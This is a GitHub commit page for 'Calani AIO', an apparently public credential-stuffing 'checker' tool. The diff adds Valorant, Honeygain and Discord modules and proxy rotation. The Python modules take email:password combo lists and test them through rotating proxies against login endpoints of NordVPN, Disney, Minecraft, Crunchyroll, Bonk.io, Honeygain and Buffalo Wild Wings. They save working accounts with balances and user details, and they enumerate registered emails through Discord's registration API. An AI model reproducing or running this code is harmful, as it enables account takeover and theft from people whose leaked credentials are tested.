Skip to content
This repository has been archived by the owner on Feb 23, 2024. It is now read-only.

Commit

Permalink
0.1.8-alpha
Browse files Browse the repository at this point in the history
  • Loading branch information
Mickey758 authored Nov 14, 2021
1 parent b3649dc commit 3a4f66d
Show file tree
Hide file tree
Showing 21 changed files with 208 additions and 53 deletions.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases
- [ ] Save Remaining Lines
- [x] Multichecking
- [x] In-app Settings
- [x] Proxy Management

## Modules
1. Minecraft
Expand All @@ -25,6 +26,9 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases
8. SpotifyVM
9. Buffalo Wild Wings
10. Pornhub
11. Valorant
12. HoneyGain
13. DiscordVM

# Other Info
Development of this this project will continue. I will be updating the binary and source regularly. Bug reports will be nice to have. If you find any post them [here](https://github.com/Mickey758/Calani-AIO/issues/new). Thanks for checking this out.
Expand Down
34 changes: 28 additions & 6 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,6 @@
from console.utils import set_title
from modules.updater import check as check_updates

default = {"proxy_type":"http","proxy_timeout":5,"thread":200,"retries":1,"print_mode":"cui"}

red = Fore.RED
green = Fore.GREEN
cyan = Fore.CYAN
Expand All @@ -24,6 +22,7 @@ class checker:
saving = False
checking = False
proxies = []
bad_proxies = []
accounts = []
accounts_down = []
time = ""
Expand All @@ -46,6 +45,9 @@ class checker:
from modules.checkers import spotifyvm
from modules.checkers import bww
from modules.checkers import pornhub
from modules.checkers import valorant
from modules.checkers import honeygain
from modules.checkers import discordvm

modules_list = {
"nordvpn":nordvpn,
Expand All @@ -57,7 +59,10 @@ class checker:
"crunchyroll":crunchyroll,
"spotifyvm":spotifyvm,
"bww":bww,
"pornhub":pornhub
"pornhub":pornhub,
"valorant":valorant,
"honeygain":honeygain,
"discordvm":discordvm
}

load_config()
Expand Down Expand Up @@ -97,6 +102,9 @@ def modules():
[{cyan}8{reset}] SpotifyVM
[{cyan}9{reset}] Buffalo Wild Wings
[{cyan}10{reset}] Pornhub
[{cyan}11{reset}] Valorant
[{cyan}12{reset}] Honeygain
[{cyan}13{reset}] DiscordVM
[{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")}
[{cyan}A{reset}] Add All Modules
Expand All @@ -114,6 +122,9 @@ def modules():
elif option == "8": selected_modules.append("spotifyvm")
elif option == "9": selected_modules.append("bww")
elif option == "10": selected_modules.append("pornhub")
elif option == "11": selected_modules.append("valorant")
elif option == "12": selected_modules.append("honeygain")
elif option == "13": selected_modules.append("discordvm")
elif option == "s":
if selected_modules != []:
starter(selected_modules)
Expand Down Expand Up @@ -151,6 +162,15 @@ def settings():


def starter(modules_lst:list):
checker.bad = 0
checker.cpm = 0
checker.good = 0
checker.custom = 0
checker.errors = 0
checker.proxies.clear()
checker.accounts.clear()
checker.accounts_down.clear()
checker.bad_proxies.clear()
set_title("Calani AIO | Getting Ready | MickeyYe#0003")
def foo(account:str):
try:
Expand Down Expand Up @@ -179,9 +199,10 @@ def foo(account:str):
checker.accounts = accounts
checker.accounts_down = accounts
duplicates = len(before_accounts)-len(accounts)
print(f" [{cyan}Imported {len(before_accounts)} Accounts{reset}]")
if duplicates != 0:
print(f" [{cyan}Removed {duplicates} Duplicates{reset}]")
sleep(1)
sleep(1)

print("\n")

Expand All @@ -198,9 +219,10 @@ def foo(account:str):
after_proxies = list(set(before_proxies))
checker.proxies = after_proxies
duplicates = len(before_proxies)-len(after_proxies)
print(f" [{cyan}Imported {len(before_proxies)} Proxies{reset}]")
if duplicates != 0:
print(f" [{cyan}Removed {duplicates} Duplicates{reset}]")
sleep(1)
sleep(1)

checker.checking = True
checker.time = get_time()
Expand Down Expand Up @@ -237,4 +259,4 @@ def foo(account:str):
print(f" [{red}>{reset}] Your version is outdated!")
print(f" [{cyan}>{reset}] Find the latest version of Calani AIO here: https://github.com/Mickey758/Calani-AIO/releases")
input(f" [{cyan}>{reset}] Press enter to ignore")
home()
home()
27 changes: 13 additions & 14 deletions modules/checkers/bonk_io.py
Original file line number Diff line number Diff line change
@@ -1,28 +1,26 @@
from __main__ import checker
from modules.functions import set_proxy,log,save
from modules.functions import set_proxy,log,save,bad_proxy
from requests import post
from math import sqrt

def check(email:str,password:str):
retries = 0

if "@" in email:
email = email.split("@")[0]
username = email.split("@")[0]

while retries != checker.retries:
proxy = set_proxy()
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"username={email}&password={password}"
data = f"username={username}&password={password}"
try:
a = post("https://bonk2.io/scripts/login_legacy.php",data=data,headers=headers,proxies=set_proxy(proxy),timeout=checker.timeout).json()
a = post("https://bonk2.io/scripts/login_legacy.php",data=data,proxies=set_proxy(proxy),timeout=checker.timeout).json()
if a["r"] == "fail":
if a.get("e"):
if a["e"] == "ratelimited":
raise
else:
if a.get("e") == "ratelimited":
raise
elif a.get("e") == "password" or a.get("e") == "username_fail":
retries += 1
else:
print(a)
elif "xp" in a:
xp = a["xp"]
friends = len(a["friends"])
Expand All @@ -38,15 +36,16 @@ def check(email:str,password:str):
else:
level = 0
if not checker.cui:
log("good",email+":"+password,"Bonk.io")
save("BonkIO","good",checker.time,email+":"+password+f" | Level: {level} | Friends: {friends} | Xp: {xp} | UserID: {user_id}")
log("good",username+":"+password,"Bonk.io")
save("BonkIO","good",checker.time,username+":"+password+f" | Level: {level} | Friends: {friends} | Xp: {xp} | UserID: {user_id} | Email: {email}")
checker.good += 1
checker.cpm += 1
return
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+"password","Bonk.io")
log("bad",username+":"+password,"Bonk.io")
checker.bad += 1
checker.cpm += 1
return
7 changes: 3 additions & 4 deletions modules/checkers/bww.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,10 @@
from __main__ import checker
from requests import post
from modules.functions import log,save,set_proxy
from modules.functions import log,save,set_proxy,bad_proxy

def check(email:str,password:str):
retries = 0
while retries != checker.retries:
proxy = set_proxy()
headers = {
"Origin": "https://www.buffalowildwings.com" ,
"Referer": "https://www.buffalowildwings.com/en/account/log-in/" ,
Expand All @@ -21,7 +20,7 @@ def check(email:str,password:str):
retries += 1
elif r.status_code == 200:
if not checker.cui:
log("good",email+":"+password,"Buffalo Wild Wings")
log("good",email+":"+password,"BWW")
save("Buffalo Wild Wings","good",checker.time,email+":"+password)
checker.good += 1
checker.cpm += 1
Expand All @@ -31,7 +30,7 @@ def check(email:str,password:str):
except:
checker.retries += 1
if not checker.cui:
log("bad",email+":"+password,"Buffalo Wild Wings")
log("bad",email+":"+password,"BWW")
checker.bad += 1
checker.cpm += 1
return
3 changes: 2 additions & 1 deletion modules/checkers/crunchyroll.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from __main__ import checker
from requests import post
from modules.functions import log,save,set_proxy
from modules.functions import log,save,set_proxy,bad_proxy

def check(email:str,password:str):
retries = 0
Expand Down Expand Up @@ -38,6 +38,7 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"Crunchyroll")
Expand Down
33 changes: 33 additions & 0 deletions modules/checkers/discordvm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
from __main__ import checker
from random import choice, random
from requests import post
from modules.functions import bad_proxy, log,save,set_proxy
from string import ascii_letters as l, digits as d
from random import choices

def check(email:str,password:str):
retries = 0
while retries != checker.retries:
proxy = set_proxy()
payload = {"fingerprint":"793580565130641419.LGQ5IVlIkNTEQfpHbXcQLA2ABrM","email":email,"username":"".join(choices(l+d,k=6)),"password":"rth21e98!fmPP","invite":None,"consent":True,"date_of_birth":"1993-05-03","gift_code_sku_id":None,"captcha_key":None}
try:
a = post("https://discord.com/api/v8/auth/register",json=payload,proxies=set_proxy(proxy),timeout=checker.timeout).text
if "EMAIL_TYPE_INVALID_EMA" in a or "token" in a or "captcha-required" in a:
retries += 1
elif "EMAIL_ALREADY_REGISTERED" in a:
if not checker.cui:
log("good",email+":"+password,"DiscordVM")
save("DiscordVM","good",checker.time,email+":"+password)
checker.good += 1
checker.cpm += 1
return
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"DiscordVM")
checker.bad += 1
checker.cpm += 1
return
5 changes: 3 additions & 2 deletions modules/checkers/disney.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __main__ import checker
from modules.functions import set_proxy,log,save
from modules.functions import set_proxy,log,save,bad_proxy
from requests import get,post
from random import choices
from string import ascii_letters,digits
Expand Down Expand Up @@ -114,9 +114,10 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+"password","Disney")
log("bad",email+":"+password,"Disney")
checker.bad += 1
checker.cpm += 1
return
3 changes: 2 additions & 1 deletion modules/checkers/duolingo.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __main__ import checker
from modules.functions import set_proxy,log,save
from modules.functions import set_proxy,log,save,bad_proxy
from requests import post
from json import dumps

Expand Down Expand Up @@ -27,6 +27,7 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"Duolingo")
Expand Down
3 changes: 2 additions & 1 deletion modules/checkers/gfuel.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __main__ import checker
from modules.functions import set_proxy, log, save
from modules.functions import set_proxy, log, save, bad_proxy
from requests import get,post
from base64 import b64decode

Expand Down Expand Up @@ -54,6 +54,7 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad".email+":"+password,"Gfuel")
Expand Down
37 changes: 37 additions & 0 deletions modules/checkers/honeygain.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
from __main__ import checker
from requests import post,get
from modules.functions import bad_proxy, log,save,set_proxy


def check(email:str,password:str):
retries = 0
while retries != checker.retries:
proxy = set_proxy()
payload = {"email":email,"password":password}
header = {"Authorization":"Bearer "}
try:
a = post("https://dashboard.honeygain.com/api/v1/users/tokens",json=payload,proxies=set_proxy(proxy),timeout=checker.timeout)
if "Bad credentials." in a.text:
retries += 1
elif "access_token" in a.text:
header["Authorization"] = "Bearer "+a.json()["data"]["access_token"]
balance = get("https://dashboard.honeygain.com/api/v1/users/balances",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout).json()["data"]["payout"]["credits"]
if not checker.cui:
log("good",email+":"+password,"Honeygain")
if int(balance) > 0:
save("Honeygain","good",checker.time,email+":"+password+f" | Credits: {balance}")
checker.good += 1
else:
save("Honeygain","custom",checker.time,email+":"+password+f" | Credits: {balance}")
checker.custom += 1
checker.cpm += 1
return
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui: log("bad",email+":"+password,"Honeygain")
checker.bad += 1
checker.cpm += 1
return
5 changes: 3 additions & 2 deletions modules/checkers/minecraft.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __main__ import checker
from modules.functions import set_proxy,log,save
from modules.functions import set_proxy,log,save, bad_proxy
from requests import get,post
from json import dumps

Expand Down Expand Up @@ -42,9 +42,10 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+"password","Minecraft")
log("bad",email+":"+password,"Minecraft")
checker.bad += 1
checker.cpm += 1
return
3 changes: 2 additions & 1 deletion modules/checkers/nordvpn.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from __main__ import checker
from requests import get,post
from modules.functions import set_proxy, log, save
from modules.functions import set_proxy, log, save, bad_proxy
from base64 import b64encode
from datetime import datetime

Expand Down Expand Up @@ -60,6 +60,7 @@ def check(email:str,password:str):
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"NordVPN")
Expand Down
Loading

0 comments on commit 3a4f66d

Please sign in to comment.